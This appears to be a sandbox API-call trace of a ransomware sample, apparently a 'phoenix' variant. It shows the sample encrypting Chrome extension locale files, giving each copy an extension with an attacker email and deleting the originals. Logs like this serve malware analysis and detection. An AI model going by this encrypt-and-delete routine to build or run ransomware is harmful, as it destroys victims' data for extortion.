	[0256.156] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=215) returned 1
	[0256.156] CloseHandle (hObject=0x314) returned 1
	[0256.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json")) returned 0x20
	[0256.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.157] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.157] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.157] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.157] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0256.157] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.157] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd7, lpOverlapped=0x0) returned 1
	[0256.158] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.158] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.159] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0256.159] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.159] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.159] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.159] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.159] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.159] CloseHandle (hObject=0x314) returned 1
	[0256.160] CloseHandle (hObject=0x310) returned 1
	[0256.160] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json")) returned 1
	[0256.162] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.162] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.162] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=218) returned 1
	[0256.163] CloseHandle (hObject=0x310) returned 1
	[0256.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json")) returned 0x20
	[0256.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.163] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.163] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.163] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0256.163] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.163] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xda, lpOverlapped=0x0) returned 1
	[0256.164] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.164] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.166] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0256.166] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.166] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.166] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.166] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.166] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.166] CloseHandle (hObject=0x310) returned 1
	[0256.166] CloseHandle (hObject=0x314) returned 1
	[0256.166] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json")) returned 1
	[0256.168] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.168] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=228) returned 1
	[0256.168] CloseHandle (hObject=0x314) returned 1
	[0256.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json")) returned 0x20
	[0256.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.168] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.169] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.169] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.169] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0256.169] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.169] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe4, lpOverlapped=0x0) returned 1
	[0256.170] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0256.170] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0256.171] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0256.171] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.171] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.171] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.171] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.171] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.171] CloseHandle (hObject=0x314) returned 1
	[0256.171] CloseHandle (hObject=0x310) returned 1
	[0256.171] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json")) returned 1
	[0256.172] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.172] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.173] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=224) returned 1
	[0256.173] CloseHandle (hObject=0x310) returned 1
	[0256.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json")) returned 0x20
	[0256.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.173] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.173] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0256.173] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.173] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe0, lpOverlapped=0x0) returned 1
	[0256.175] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0256.175] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0256.176] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0256.176] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.176] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.176] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.176] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.176] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.176] CloseHandle (hObject=0x310) returned 1
	[0256.177] CloseHandle (hObject=0x314) returned 1
	[0256.177] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json")) returned 1
	[0256.181] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.182] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=207) returned 1
	[0256.182] CloseHandle (hObject=0x314) returned 1
	[0256.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json")) returned 0x20
	[0256.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.182] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.182] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.182] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.182] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0256.183] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.183] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcf, lpOverlapped=0x0) returned 1
	[0256.184] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0256.184] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0256.185] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
